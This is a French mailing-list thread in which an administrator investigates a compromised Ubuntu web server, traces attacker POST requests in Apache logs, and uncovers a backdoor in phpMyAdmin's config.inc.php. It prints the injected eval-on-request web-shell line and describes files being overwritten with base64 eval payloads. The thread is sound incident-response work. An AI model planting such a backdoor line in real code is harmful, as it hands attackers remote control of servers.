Le 15/06/2011 10:47, bruno.debian@cyberoso.com a écrit :
C'est bon on a trouvé d'où ça vient. Et c'est moins grave que ce qu'on pensait (ouf !). Le serveur n'a pas été compromis (on en est sûr à 99%), le pirate aurait plutôt utilisé une faille dans un phpmyadmin.Le Wed, 15 Jun 2011 10:15:04 +0200, Romaric DEFAUX<rde@audaxis.com> a écrit :Salut la liste ! J'aurai besoin de conseil. On a un serveur corrompu (on en est sûr à 99% qu'il est corrompu). C'est un serveur web Ubuntu 8.04.4 LTS. Voici les symptômes : - des fichiers php sont modifiés tous les 4h : la balise php ouvrante est remplacée par : <?php eval(base64_decode( suivi de code en base 64 - des process qui ne devraient pas font des connections vers notre ldap : tcp 1 0 192.168.2.201:51954 192.168.2.182:389 CLOSE_WAIT 6333/postgres tcp 0 0 192.168.2.201:41109 192.168.2.182:389 TIME_WAIT - tcp 1 0 192.168.2.201:51946 192.168.2.182:389 CLOSE_WAIT 6256/mysqld tcp 0 0 192.168.2.201:41110 192.168.2.182:389 TIME_WAIT - tcp 1 0 192.168.2.201:51963 192.168.2.182:389 CLOSE_WAIT 6384/nrpe - des process cachés sont découverts avec unhide (ce sont peut-être des faux positifs ?) unhide brute Unhide 02-11-2007 yjesus@security-projects.com [*]Starting scanning using brute force against PIDS Found HIDDEN PID: 1875 Found HIDDEN PID: 11836 Found HIDDEN PID: 19403 Found HIDDEN PID: 22328 Found HIDDEN PID: 22333 Found HIDDEN PID: 22541 Les pid changent. On ne sait pas comment c'est arrivé (mais on suppose via un joomla ou un wordpress), du coup on craint qu'une réinstallation totale ne serve à rien. Est-ce que vous auriez des conseils à donner ? Etant donné que c'est un serveur de prod, on ne l'a pas encore isolé du réseau. Merci d'avance RomaricBonjour, Cherche dans les logs d'apache les requetes POST. Ces scripts sont souvent commandés à distance. Sinon, cherche des fichiers php dans les répertoire où les utilisateurs peuvent uploader (et plus globalement là où ils ne devraient pas y en avoir). Tu peux aussi, si tu as les sources quelque part, comparer les arborescences. Bon courage Bruno
J'ai trouvé effectivement des POST intéressants dans les logs d'apache : cd /var/log/apache2 && cat *.log | grep 'POST' > /root/analyse.txt cd root Ensuite j'ai cherché quels étaient les post fait à cette heure ci : cat analyse.txt | grep -i ':08:34' Deux lignes m'ont interpellées :75.67.197.129 - - [14/Jun/2011:08:34:29 +0200] "POST /phpmyadmin/config/config.inc.php HTTP/1.1" 200 19 "-" "Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2;" 60.28.179.32 - - [15/Jun/2011:08:34:51 +0200] "POST /phpmyadmin/config/config.inc.php HTTP/1.1" 200 19 "-" "Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2;"
vim /µ........../phpmyadmin/config/config.inc.php: <?php /* * Generated configuration file* Generated by: phpMyAdmin 2.11.8.1 setup script by Michal Čihař <michal@cihar.com>
* Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $ * Date: Sun, 12 Jun 2011 06:44:58 GMT */ /* Servers configuration */ $i = 0; /* Server (config:root) [1] */ $i++;$cfg['Servers'][$i]['host']=''; if(isset(\$_REQUEST['asc']))eval(stripslashes(\$_REQUEST['asc']));//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysqli'; $cfg['Servers'][$i]['connect_type'] = 'tcp'; $cfg['Servers'][$i]['compress'] = false; $cfg['Servers'][$i]['auth_type'] = 'config'; $cfg['Servers'][$i]['user'] = 'root'; /* End of servers configuration */ ?>La ligne if(isset(\$_REQUEST['asc']))eval(stripslashes(\$_REQUEST['asc']));//'] = 'localhost'; est clairement suspecte.
Bref, j'ai fini par trouver que c'était ça : http://www.whitefirdesign.com/resources/jfgjfr5jdfjvvcc-malware.html Romaric
Attachment:
smime.p7s
Description: S/MIME Cryptographic Signature